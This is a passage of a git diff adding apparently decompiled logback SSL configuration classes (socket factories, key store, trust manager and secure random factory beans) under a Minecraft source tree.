+  extends ServerSocketFactory
+{
+  private final SSLParametersConfiguration parameters;
+  private final SSLServerSocketFactory delegate;
+  
+  public ConfigurableSSLServerSocketFactory(SSLParametersConfiguration parameters, SSLServerSocketFactory delegate)
+  {
+    this.parameters = parameters;
+    this.delegate = delegate;
+  }
+  
+
+
+
+  public ServerSocket createServerSocket(int port, int backlog, InetAddress ifAddress)
+    throws IOException
+  {
+    SSLServerSocket socket = (SSLServerSocket)delegate.createServerSocket(port, backlog, ifAddress);
+    
+    parameters.configure(new SSLConfigurableServerSocket(socket));
+    return socket;
+  }
+  
+
+
+
+  public ServerSocket createServerSocket(int port, int backlog)
+    throws IOException
+  {
+    SSLServerSocket socket = (SSLServerSocket)delegate.createServerSocket(port, backlog);
+    
+    parameters.configure(new SSLConfigurableServerSocket(socket));
+    return socket;
+  }
+  
+
+
+  public ServerSocket createServerSocket(int port)
+    throws IOException
+  {
+    SSLServerSocket socket = (SSLServerSocket)delegate.createServerSocket(port);
+    
+    parameters.configure(new SSLConfigurableServerSocket(socket));
+    return socket;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/ssl/ConfigurableSSLSocketFactory.java b/src/minecraft/ch/qos/logback/core/net/ssl/ConfigurableSSLSocketFactory.java
new file mode 100644
index 0000000..b00c9ad
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/ssl/ConfigurableSSLSocketFactory.java
@@ -0,0 +1,99 @@
+package ch.qos.logback.core.net.ssl;
+
+import java.io.IOException;
+import java.net.InetAddress;
+import java.net.Socket;
+import java.net.UnknownHostException;
+import javax.net.SocketFactory;
+import javax.net.ssl.SSLSocket;
+import javax.net.ssl.SSLSocketFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ConfigurableSSLSocketFactory
+  extends SocketFactory
+{
+  private final SSLParametersConfiguration parameters;
+  private final SSLSocketFactory delegate;
+  
+  public ConfigurableSSLSocketFactory(SSLParametersConfiguration parameters, SSLSocketFactory delegate)
+  {
+    this.parameters = parameters;
+    this.delegate = delegate;
+  }
+  
+
+
+
+  public Socket createSocket(InetAddress address, int port, InetAddress localAddress, int localPort)
+    throws IOException
+  {
+    SSLSocket socket = (SSLSocket)delegate.createSocket(address, port, localAddress, localPort);
+    
+    parameters.configure(new SSLConfigurableSocket(socket));
+    return socket;
+  }
+  
+
+
+  public Socket createSocket(InetAddress host, int port)
+    throws IOException
+  {
+    SSLSocket socket = (SSLSocket)delegate.createSocket(host, port);
+    parameters.configure(new SSLConfigurableSocket(socket));
+    return socket;
+  }
+  
+
+
+
+  public Socket createSocket(String host, int port, InetAddress localHost, int localPort)
+    throws IOException, UnknownHostException
+  {
+    SSLSocket socket = (SSLSocket)delegate.createSocket(host, port, localHost, localPort);
+    
+    parameters.configure(new SSLConfigurableSocket(socket));
+    return socket;
+  }
+  
+
+
+
+  public Socket createSocket(String host, int port)
+    throws IOException, UnknownHostException
+  {
+    SSLSocket socket = (SSLSocket)delegate.createSocket(host, port);
+    parameters.configure(new SSLConfigurableSocket(socket));
+    return socket;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/ssl/KeyManagerFactoryFactoryBean.java b/src/minecraft/ch/qos/logback/core/net/ssl/KeyManagerFactoryFactoryBean.java
new file mode 100644
index 0000000..943c2b1
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/ssl/KeyManagerFactoryFactoryBean.java
@@ -0,0 +1,90 @@
+package ch.qos.logback.core.net.ssl;
+
+import java.security.NoSuchAlgorithmException;
+import java.security.NoSuchProviderException;
+import javax.net.ssl.KeyManagerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class KeyManagerFactoryFactoryBean
+{
+  private String algorithm;
+  private String provider;
+  
+  public KeyManagerFactoryFactoryBean() {}
+  
+  public KeyManagerFactory createKeyManagerFactory()
+    throws NoSuchProviderException, NoSuchAlgorithmException
+  {
+    return getProvider() != null ? KeyManagerFactory.getInstance(getAlgorithm(), getProvider()) : KeyManagerFactory.getInstance(getAlgorithm());
+  }
+  
+
+
+
+
+
+
+
+  public String getAlgorithm()
+  {
+    if (algorithm == null) {
+      return KeyManagerFactory.getDefaultAlgorithm();
+    }
+    return algorithm;
+  }
+  
+
+
+
+
+
+  public void setAlgorithm(String algorithm)
+  {
+    this.algorithm = algorithm;
+  }
+  
+
+
+
+  public String getProvider()
+  {
+    return provider;
+  }
+  
+
+
+
+
+  public void setProvider(String provider)
+  {
+    this.provider = provider;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/ssl/KeyStoreFactoryBean.java b/src/minecraft/ch/qos/logback/core/net/ssl/KeyStoreFactoryBean.java
new file mode 100644
index 0000000..a32b01a
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/ssl/KeyStoreFactoryBean.java
@@ -0,0 +1,185 @@
+package ch.qos.logback.core.net.ssl;
+
+import ch.qos.logback.core.util.LocationUtil;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.URL;
+import java.security.KeyStore;
+import java.security.KeyStoreException;
+import java.security.NoSuchAlgorithmException;
+import java.security.NoSuchProviderException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class KeyStoreFactoryBean
+{
+  private String location;
+  private String provider;
+  private String type;
+  private String password;
+  
+  public KeyStoreFactoryBean() {}
+  
+  public KeyStore createKeyStore()
+    throws NoSuchProviderException, NoSuchAlgorithmException, KeyStoreException
+  {
+    if (getLocation() == null) {
+      throw new IllegalArgumentException("location is required");
+    }
+    
+    InputStream inputStream = null;
+    try {
+      URL url = LocationUtil.urlForResource(getLocation());
+      inputStream = url.openStream();
+      KeyStore keyStore = newKeyStore();
+      keyStore.load(inputStream, getPassword().toCharArray());
+      return keyStore;
+    }
+    catch (NoSuchProviderException ex) {
+      throw new NoSuchProviderException("no such keystore provider: " + getProvider());
+    }
+    catch (NoSuchAlgorithmException ex)
+    {
+      throw new NoSuchAlgorithmException("no such keystore type: " + getType());
+    }
+    catch (FileNotFoundException ex)
+    {
+      throw new KeyStoreException(getLocation() + ": file not found");
+    }
+    catch (Exception ex) {
+      throw new KeyStoreException(getLocation() + ": " + ex.getMessage(), ex);
+    }
+    finally {
+      try {
+        if (inputStream != null) {
+          inputStream.close();
+        }
+      }
+      catch (IOException ex) {
+        ex.printStackTrace(System.err);
+      }
+    }
+  }
+  
+
+
+
+
+  private KeyStore newKeyStore()
+    throws NoSuchAlgorithmException, NoSuchProviderException, KeyStoreException
+  {
+    return getProvider() != null ? KeyStore.getInstance(getType(), getProvider()) : KeyStore.getInstance(getType());
+  }
+  
+
+
+
+
+
+  public String getLocation()
+  {
+    return location;
+  }
+  
+
+
+
+
+
+  public void setLocation(String location)
+  {
+    this.location = location;
+  }
+  
+
+
+
+
+  public String getType()
+  {
+    if (type == null) {
+      return "JKS";
+    }
+    return type;
+  }
+  
+
+
+
+
+
+
+  public void setType(String type)
+  {
+    this.type = type;
+  }
+  
+
+
+
+  public String getProvider()
+  {
+    return provider;
+  }
+  
+
+
+
+
+  public void setProvider(String provider)
+  {
+    this.provider = provider;
+  }
+  
+
+
+
+
+  public String getPassword()
+  {
+    if (password == null) {
+      return "changeit";
+    }
+    return password;
+  }
+  
+
+
+
+  public void setPassword(String password)
+  {
+    this.password = password;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/ssl/SSL.java b/src/minecraft/ch/qos/logback/core/net/ssl/SSL.java
new file mode 100644
index 0000000..c850ae0
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/ssl/SSL.java
@@ -0,0 +1,9 @@
+package ch.qos.logback.core.net.ssl;
+
+public abstract interface SSL
+{
+  public static final String DEFAULT_PROTOCOL = "SSL";
+  public static final String DEFAULT_KEYSTORE_TYPE = "JKS";
+  public static final String DEFAULT_KEYSTORE_PASSWORD = "changeit";
+  public static final String DEFAULT_SECURE_RANDOM_ALGORITHM = "SHA1PRNG";
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/ssl/SSLComponent.java b/src/minecraft/ch/qos/logback/core/net/ssl/SSLComponent.java
new file mode 100644
index 0000000..382fcdb
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/ssl/SSLComponent.java
@@ -0,0 +1,8 @@
+package ch.qos.logback.core.net.ssl;
+
+public abstract interface SSLComponent
+{
+  public abstract SSLConfiguration getSsl();
+  
+  public abstract void setSsl(SSLConfiguration paramSSLConfiguration);
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/ssl/SSLConfigurable.java b/src/minecraft/ch/qos/logback/core/net/ssl/SSLConfigurable.java
new file mode 100644
index 0000000..416a2cf
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/ssl/SSLConfigurable.java
@@ -0,0 +1,20 @@
+package ch.qos.logback.core.net.ssl;
+
+public abstract interface SSLConfigurable
+{
+  public abstract String[] getDefaultProtocols();
+  
+  public abstract String[] getSupportedProtocols();
+  
+  public abstract void setEnabledProtocols(String[] paramArrayOfString);
+  
+  public abstract String[] getDefaultCipherSuites();
+  
+  public abstract String[] getSupportedCipherSuites();
+  
+  public abstract void setEnabledCipherSuites(String[] paramArrayOfString);
+  
+  public abstract void setNeedClientAuth(boolean paramBoolean);
+  
+  public abstract void setWantClientAuth(boolean paramBoolean);
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/ssl/SSLConfigurableServerSocket.java b/src/minecraft/ch/qos/logback/core/net/ssl/SSLConfigurableServerSocket.java
new file mode 100644
index 0000000..5af2138
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/ssl/SSLConfigurableServerSocket.java
@@ -0,0 +1,62 @@
+package ch.qos.logback.core.net.ssl;
+
+import javax.net.ssl.SSLServerSocket;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SSLConfigurableServerSocket
+  implements SSLConfigurable
+{
+  private final SSLServerSocket delegate;
+  
+  public SSLConfigurableServerSocket(SSLServerSocket delegate)
+  {
+    this.delegate = delegate;
+  }
+  
+  public String[] getDefaultProtocols() {
+    return delegate.getEnabledProtocols();
+  }
+  
+  public String[] getSupportedProtocols() {
+    return delegate.getSupportedProtocols();
+  }
+  
+  public void setEnabledProtocols(String[] protocols) {
+    delegate.setEnabledProtocols(protocols);
+  }
+  
+  public String[] getDefaultCipherSuites() {
+    return delegate.getEnabledCipherSuites();
+  }
+  
+  public String[] getSupportedCipherSuites() {
+    return delegate.getSupportedCipherSuites();
+  }
+  
+  public void setEnabledCipherSuites(String[] suites) {
+    delegate.setEnabledCipherSuites(suites);
+  }
+  
+  public void setNeedClientAuth(boolean state) {
+    delegate.setNeedClientAuth(state);
+  }
+  
+  public void setWantClientAuth(boolean state) {
+    delegate.setWantClientAuth(state);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/ssl/SSLConfigurableSocket.java b/src/minecraft/ch/qos/logback/core/net/ssl/SSLConfigurableSocket.java
new file mode 100644
index 0000000..07e3c66
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/ssl/SSLConfigurableSocket.java
@@ -0,0 +1,62 @@
+package ch.qos.logback.core.net.ssl;
+
+import javax.net.ssl.SSLSocket;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SSLConfigurableSocket
+  implements SSLConfigurable
+{
+  private final SSLSocket delegate;
+  
+  public SSLConfigurableSocket(SSLSocket delegate)
+  {
+    this.delegate = delegate;
+  }
+  
+  public String[] getDefaultProtocols() {
+    return delegate.getEnabledProtocols();
+  }
+  
+  public String[] getSupportedProtocols() {
+    return delegate.getSupportedProtocols();
+  }
+  
+  public void setEnabledProtocols(String[] protocols) {
+    delegate.setEnabledProtocols(protocols);
+  }
+  
+  public String[] getDefaultCipherSuites() {
+    return delegate.getEnabledCipherSuites();
+  }
+  
+  public String[] getSupportedCipherSuites() {
+    return delegate.getSupportedCipherSuites();
+  }
+  
+  public void setEnabledCipherSuites(String[] suites) {
+    delegate.setEnabledCipherSuites(suites);
+  }
+  
+  public void setNeedClientAuth(boolean state) {
+    delegate.setNeedClientAuth(state);
+  }
+  
+  public void setWantClientAuth(boolean state) {
+    delegate.setWantClientAuth(state);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/ssl/SSLConfiguration.java b/src/minecraft/ch/qos/logback/core/net/ssl/SSLConfiguration.java
new file mode 100644
index 0000000..0b33bce
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/ssl/SSLConfiguration.java
@@ -0,0 +1,47 @@
+package ch.qos.logback.core.net.ssl;
+
+
+
+
+
+
+
+
+
+public class SSLConfiguration
+  extends SSLContextFactoryBean
+{
+  private SSLParametersConfiguration parameters;
+  
+
+
+
+
+
+
+
+  public SSLConfiguration() {}
+  
+
+
+
+
+
+
+
+  public SSLParametersConfiguration getParameters()
+  {
+    if (parameters == null) {
+      parameters = new SSLParametersConfiguration();
+    }
+    return parameters;
+  }
+  
+
+
+
+  public void setParameters(SSLParametersConfiguration parameters)
+  {
+    this.parameters = parameters;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/ssl/SSLContextFactoryBean.java b/src/minecraft/ch/qos/logback/core/net/ssl/SSLContextFactoryBean.java
new file mode 100644
index 0000000..94cbe41
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/ssl/SSLContextFactoryBean.java
@@ -0,0 +1,340 @@
+package ch.qos.logback.core.net.ssl;
+
+import ch.qos.logback.core.spi.ContextAware;
+import java.security.KeyManagementException;
+import java.security.KeyStore;
+import java.security.KeyStoreException;
+import java.security.NoSuchAlgorithmException;
+import java.security.NoSuchProviderException;
+import java.security.SecureRandom;
+import java.security.UnrecoverableKeyException;
+import java.security.cert.CertificateException;
+import javax.net.ssl.KeyManager;
+import javax.net.ssl.KeyManagerFactory;
+import javax.net.ssl.SSLContext;
+import javax.net.ssl.TrustManager;
+import javax.net.ssl.TrustManagerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SSLContextFactoryBean
+{
+  private static final String JSSE_KEY_STORE_PROPERTY = "javax.net.ssl.keyStore";
+  private static final String JSSE_TRUST_STORE_PROPERTY = "javax.net.ssl.trustStore";
+  private KeyStoreFactoryBean keyStore;
+  private KeyStoreFactoryBean trustStore;
+  private SecureRandomFactoryBean secureRandom;
+  private KeyManagerFactoryFactoryBean keyManagerFactory;
+  private TrustManagerFactoryFactoryBean trustManagerFactory;
+  private String protocol;
+  private String provider;
+  
+  public SSLContextFactoryBean() {}
+  
+  public SSLContext createContext(ContextAware context)
+    throws NoSuchProviderException, NoSuchAlgorithmException, KeyManagementException, UnrecoverableKeyException, KeyStoreException, CertificateException
+  {
+    SSLContext sslContext = getProvider() != null ? SSLContext.getInstance(getProtocol(), getProvider()) : SSLContext.getInstance(getProtocol());
+    
+
+
+    context.addInfo("SSL protocol '" + sslContext.getProtocol() + "' provider '" + sslContext.getProvider() + "'");
+    
+
+    KeyManager[] keyManagers = createKeyManagers(context);
+    TrustManager[] trustManagers = createTrustManagers(context);
+    SecureRandom secureRandom = createSecureRandom(context);
+    sslContext.init(keyManagers, trustManagers, secureRandom);
+    return sslContext;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private KeyManager[] createKeyManagers(ContextAware context)
+    throws NoSuchProviderException, NoSuchAlgorithmException, UnrecoverableKeyException, KeyStoreException
+  {
+    if (getKeyStore() == null) { return null;
+    }
+    KeyStore keyStore = getKeyStore().createKeyStore();
+    context.addInfo("key store of type '" + keyStore.getType() + "' provider '" + keyStore.getProvider() + "': " + getKeyStore().getLocation());
+    
+
+
+
+    KeyManagerFactory kmf = getKeyManagerFactory().createKeyManagerFactory();
+    context.addInfo("key manager algorithm '" + kmf.getAlgorithm() + "' provider '" + kmf.getProvider() + "'");
+    
+
+    char[] passphrase = getKeyStore().getPassword().toCharArray();
+    kmf.init(keyStore, passphrase);
+    return kmf.getKeyManagers();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private TrustManager[] createTrustManagers(ContextAware context)
+    throws NoSuchProviderException, NoSuchAlgorithmException, KeyStoreException
+  {
+    if (getTrustStore() == null) { return null;
+    }
+    KeyStore trustStore = getTrustStore().createKeyStore();
+    context.addInfo("trust store of type '" + trustStore.getType() + "' provider '" + trustStore.getProvider() + "': " + getTrustStore().getLocation());
+    
+
+
+
+    TrustManagerFactory tmf = getTrustManagerFactory().createTrustManagerFactory();
+    
+    context.addInfo("trust manager algorithm '" + tmf.getAlgorithm() + "' provider '" + tmf.getProvider() + "'");
+    
+
+    tmf.init(trustStore);
+    return tmf.getTrustManagers();
+  }
+  
+  private SecureRandom createSecureRandom(ContextAware context)
+    throws NoSuchProviderException, NoSuchAlgorithmException
+  {
+    SecureRandom secureRandom = getSecureRandom().createSecureRandom();
+    context.addInfo("secure random algorithm '" + secureRandom.getAlgorithm() + "' provider '" + secureRandom.getProvider() + "'");
+    
+
+    return secureRandom;
+  }
+  
+
+
+
+
+  public KeyStoreFactoryBean getKeyStore()
+  {
+    if (keyStore == null) {
+      keyStore = keyStoreFromSystemProperties("javax.net.ssl.keyStore");
+    }
+    return keyStore;
+  }
+  
+
+
+
+  public void setKeyStore(KeyStoreFactoryBean keyStore)
+  {
+    this.keyStore = keyStore;
+  }
+  
+
+
+
+
+  public KeyStoreFactoryBean getTrustStore()
+  {
+    if (trustStore == null) {
+      trustStore = keyStoreFromSystemProperties("javax.net.ssl.trustStore");
+    }
+    return trustStore;
+  }
+  
+
+
+
+  public void setTrustStore(KeyStoreFactoryBean trustStore)
+  {
+    this.trustStore = trustStore;
+  }
+  
+
+
+
+
+
+  private KeyStoreFactoryBean keyStoreFromSystemProperties(String property)
+  {
+    if (System.getProperty(property) == null) return null;
+    KeyStoreFactoryBean keyStore = new KeyStoreFactoryBean();
+    keyStore.setLocation(locationFromSystemProperty(property));
+    keyStore.setProvider(System.getProperty(property + "Provider"));
+    keyStore.setPassword(System.getProperty(property + "Password"));
+    keyStore.setType(System.getProperty(property + "Type"));
+    return keyStore;
+  }
+  
+
+
+
+
+
+  private String locationFromSystemProperty(String name)
+  {
+    String location = System.getProperty(name);
+    if ((location != null) && (!location.startsWith("file:"))) {
+      location = "file:" + location;
+    }
+    return location;
+  }
+  
+
+
+
+
+  public SecureRandomFactoryBean getSecureRandom()
+  {
+    if (secureRandom == null) {
+      return new SecureRandomFactoryBean();
+    }
+    return secureRandom;
+  }
+  
+
+
+
+  public void setSecureRandom(SecureRandomFactoryBean secureRandom)
+  {
+    this.secureRandom = secureRandom;
+  }
+  
+
+
+
+
+  public KeyManagerFactoryFactoryBean getKeyManagerFactory()
+  {
+    if (keyManagerFactory == null) {
+      return new KeyManagerFactoryFactoryBean();
+    }
+    return keyManagerFactory;
+  }
+  
+
+
+
+
+  public void setKeyManagerFactory(KeyManagerFactoryFactoryBean keyManagerFactory)
+  {
+    this.keyManagerFactory = keyManagerFactory;
+  }
+  
+
+
+
+
+  public TrustManagerFactoryFactoryBean getTrustManagerFactory()
+  {
+    if (trustManagerFactory == null) {
+      return new TrustManagerFactoryFactoryBean();
+    }
+    return trustManagerFactory;
+  }
+  
+
+
+
+
+  public void setTrustManagerFactory(TrustManagerFactoryFactoryBean trustManagerFactory)
+  {
+    this.trustManagerFactory = trustManagerFactory;
+  }
+  
+
+
+
+
+
+  public String getProtocol()
+  {
+    if (protocol == null) {
+      return "SSL";
+    }
+    return protocol;
+  }
+  
+
+
+
+
+
+  public void setProtocol(String protocol)
+  {
+    this.protocol = protocol;
+  }
+  
+
+
+
+  public String getProvider()
+  {
+    return provider;
+  }
+  
+
+
+
+
+  public void setProvider(String provider)
+  {
+    this.provider = provider;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/ssl/SSLNestedComponentRegistryRules.java b/src/minecraft/ch/qos/logback/core/net/ssl/SSLNestedComponentRegistryRules.java
new file mode 100644
index 0000000..b01114b
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/ssl/SSLNestedComponentRegistryRules.java
@@ -0,0 +1,41 @@
+package ch.qos.logback.core.net.ssl;
+
+import ch.qos.logback.core.joran.spi.DefaultNestedComponentRegistry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SSLNestedComponentRegistryRules
+{
+  public SSLNestedComponentRegistryRules() {}
+  
+  public static void addDefaultNestedComponentRegistryRules(DefaultNestedComponentRegistry registry)
+  {
+    registry.add(SSLComponent.class, "ssl", SSLConfiguration.class);
+    registry.add(SSLConfiguration.class, "parameters", SSLParametersConfiguration.class);
+    
+    registry.add(SSLConfiguration.class, "keyStore", KeyStoreFactoryBean.class);
+    
+    registry.add(SSLConfiguration.class, "trustStore", KeyStoreFactoryBean.class);
+    
+    registry.add(SSLConfiguration.class, "keyManagerFactory", KeyManagerFactoryFactoryBean.class);
+    
+    registry.add(SSLConfiguration.class, "trustManagerFactory", TrustManagerFactoryFactoryBean.class);
+    
+    registry.add(SSLConfiguration.class, "secureRandom", SecureRandomFactoryBean.class);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/ssl/SSLParametersConfiguration.java b/src/minecraft/ch/qos/logback/core/net/ssl/SSLParametersConfiguration.java
new file mode 100644
index 0000000..44873a3
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/ssl/SSLParametersConfiguration.java
@@ -0,0 +1,255 @@
+package ch.qos.logback.core.net.ssl;
+
+import ch.qos.logback.core.spi.ContextAwareBase;
+import ch.qos.logback.core.util.OptionHelper;
+import ch.qos.logback.core.util.StringCollectionUtil;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SSLParametersConfiguration
+  extends ContextAwareBase
+{
+  private String includedProtocols;
+  private String excludedProtocols;
+  private String includedCipherSuites;
+  private String excludedCipherSuites;
+  private Boolean needClientAuth;
+  private Boolean wantClientAuth;
+  private String[] enabledProtocols;
+  private String[] enabledCipherSuites;
+  
+  public SSLParametersConfiguration() {}
+  
+  public void configure(SSLConfigurable socket)
+  {
+    socket.setEnabledProtocols(enabledProtocols(socket.getSupportedProtocols(), socket.getDefaultProtocols()));
+    
+    socket.setEnabledCipherSuites(enabledCipherSuites(socket.getSupportedCipherSuites(), socket.getDefaultCipherSuites()));
+    
+    if (isNeedClientAuth() != null) {
+      socket.setNeedClientAuth(isNeedClientAuth().booleanValue());
+    }
+    if (isWantClientAuth() != null) {
+      socket.setWantClientAuth(isWantClientAuth().booleanValue());
+    }
+  }
+  
+
+
+
+
+
+
+  private String[] enabledProtocols(String[] supportedProtocols, String[] defaultProtocols)
+  {
+    if (enabledProtocols == null)
+    {
+
+      if ((OptionHelper.isEmpty(getIncludedProtocols())) && (OptionHelper.isEmpty(getExcludedProtocols())))
+      {
+        enabledProtocols = ((String[])Arrays.copyOf(defaultProtocols, defaultProtocols.length));
+      }
+      else
+      {
+        enabledProtocols = includedStrings(supportedProtocols, getIncludedProtocols(), getExcludedProtocols());
+      }
+      
+      for (String protocol : enabledProtocols) {
+        addInfo("enabled protocol: " + protocol);
+      }
+    }
+    return enabledProtocols;
+  }
+  
+
+
+
+
+
+
+  private String[] enabledCipherSuites(String[] supportedCipherSuites, String[] defaultCipherSuites)
+  {
+    if (enabledCipherSuites == null)
+    {
+
+      if ((OptionHelper.isEmpty(getIncludedCipherSuites())) && (OptionHelper.isEmpty(getExcludedCipherSuites())))
+      {
+        enabledCipherSuites = ((String[])Arrays.copyOf(defaultCipherSuites, defaultCipherSuites.length));
+      }
+      else
+      {
+        enabledCipherSuites = includedStrings(supportedCipherSuites, getIncludedCipherSuites(), getExcludedCipherSuites());
+      }
+      
+      for (String cipherSuite : enabledCipherSuites) {
+        addInfo("enabled cipher suite: " + cipherSuite);
+      }
+    }
+    return enabledCipherSuites;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private String[] includedStrings(String[] defaults, String included, String excluded)
+  {
+    List<String> values = new ArrayList(defaults.length);
+    values.addAll(Arrays.asList(defaults));
+    if (included != null) {
+      StringCollectionUtil.retainMatching(values, stringToArray(included));
+    }
+    if (excluded != null) {
+      StringCollectionUtil.removeMatching(values, stringToArray(excluded));
+    }
+    return (String[])values.toArray(new String[values.size()]);
+  }
+  
+
+
+
+
+  private String[] stringToArray(String s)
+  {
+    return s.split("\\s*,\\s*");
+  }
+  
+
+
+
+
+  public String getIncludedProtocols()
+  {
+    return includedProtocols;
+  }
+  
+
+
+
+
+
+  public void setIncludedProtocols(String protocols)
+  {
+    includedProtocols = protocols;
+  }
+  
+
+
+
+
+  public String getExcludedProtocols()
+  {
+    return excludedProtocols;
+  }
+  
+
+
+
+
+
+  public void setExcludedProtocols(String protocols)
+  {
+    excludedProtocols = protocols;
+  }
+  
+
+
+
+
+  public String getIncludedCipherSuites()
+  {
+    return includedCipherSuites;
+  }
+  
+
+
+
+
+
+  public void setIncludedCipherSuites(String cipherSuites)
+  {
+    includedCipherSuites = cipherSuites;
+  }
+  
+
+
+
+
+  public String getExcludedCipherSuites()
+  {
+    return excludedCipherSuites;
+  }
+  
+
+
+
+
+
+  public void setExcludedCipherSuites(String cipherSuites)
+  {
+    excludedCipherSuites = cipherSuites;
+  }
+  
+
+
+
+  public Boolean isNeedClientAuth()
+  {
+    return needClientAuth;
+  }
+  
+
+
+
+  public void setNeedClientAuth(Boolean needClientAuth)
+  {
+    this.needClientAuth = needClientAuth;
+  }
+  
+
+
+
+  public Boolean isWantClientAuth()
+  {
+    return wantClientAuth;
+  }
+  
+
+
+
+  public void setWantClientAuth(Boolean wantClientAuth)
+  {
+    this.wantClientAuth = wantClientAuth;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/ssl/SecureRandomFactoryBean.java b/src/minecraft/ch/qos/logback/core/net/ssl/SecureRandomFactoryBean.java
new file mode 100644
index 0000000..7d587a4
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/ssl/SecureRandomFactoryBean.java
@@ -0,0 +1,100 @@
+package ch.qos.logback.core.net.ssl;
+
+import java.security.NoSuchAlgorithmException;
+import java.security.NoSuchProviderException;
+import java.security.SecureRandom;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SecureRandomFactoryBean
+{
+  private String algorithm;
+  private String provider;
+  
+  public SecureRandomFactoryBean() {}
+  
+  public SecureRandom createSecureRandom()
+    throws NoSuchProviderException, NoSuchAlgorithmException
+  {
+    try
+    {
+      return getProvider() != null ? SecureRandom.getInstance(getAlgorithm(), getProvider()) : SecureRandom.getInstance(getAlgorithm());
+
+    }
+    catch (NoSuchProviderException ex)
+    {
+      throw new NoSuchProviderException("no such secure random provider: " + getProvider());
+    }
+    catch (NoSuchAlgorithmException ex)
+    {
+      throw new NoSuchAlgorithmException("no such secure random algorithm: " + getAlgorithm());
+    }
+  }
+  
+
+
+
+
+
+
+  public String getAlgorithm()
+  {
+    if (algorithm == null) {
+      return "SHA1PRNG";
+    }
+    return algorithm;
+  }
+  
+
+
+
+
+
+  public void setAlgorithm(String algorithm)
+  {
+    this.algorithm = algorithm;
+  }
+  
+
+
+
+  public String getProvider()
+  {
+    return provider;
+  }
+  
+
+
+
+
+  public void setProvider(String provider)
+  {
+    this.provider = provider;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/net/ssl/TrustManagerFactoryFactoryBean.java b/src/minecraft/ch/qos/logback/core/net/ssl/TrustManagerFactoryFactoryBean.java
new file mode 100644
index 0000000..a30d2aa
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/net/ssl/TrustManagerFactoryFactoryBean.java
@@ -0,0 +1,90 @@
+package ch.qos.logback.core.net.ssl;
+
+import java.security.NoSuchAlgorithmException;
+import java.security.NoSuchProviderException;
+import javax.net.ssl.TrustManagerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TrustManagerFactoryFactoryBean
+{
+  private String algorithm;
+  private String provider;
+  
+  public TrustManagerFactoryFactoryBean() {}
+  
+  public TrustManagerFactory createTrustManagerFactory()
+    throws NoSuchProviderException, NoSuchAlgorithmException
+  {
+    return getProvider() != null ? TrustManagerFactory.getInstance(getAlgorithm(), getProvider()) : TrustManagerFactory.getInstance(getAlgorithm());
+  }
+  
+
+
+
+
+
+
+
+  public String getAlgorithm()
+  {
+    if (algorithm == null) {
+      return TrustManagerFactory.getDefaultAlgorithm();
+    }
+    return algorithm;
+  }
+  
+
+
+
+
+
+  public void setAlgorithm(String algorithm)
+  {
+    this.algorithm = algorithm;
+  }
+  
+
+
+
+  public String getProvider()
+  {
+    return provider;
+  }
+  
+
+
+
+
+  public void setProvider(String provider)
+  {
+    this.provider = provider;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/CompositeConverter.java b/src/minecraft/ch/qos/logback/core/pattern/CompositeConverter.java
new file mode 100644
index 0000000..4164fb1
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/CompositeConverter.java
@@ -0,0 +1,53 @@
+package ch.qos.logback.core.pattern;
+
+
+
+
+public abstract class CompositeConverter<E>
+  extends DynamicConverter<E>
+{
+  Converter<E> childConverter;
+  
+
+
+
+  public CompositeConverter() {}
+  
+
+
+
+  public String convert(E event)
+  {
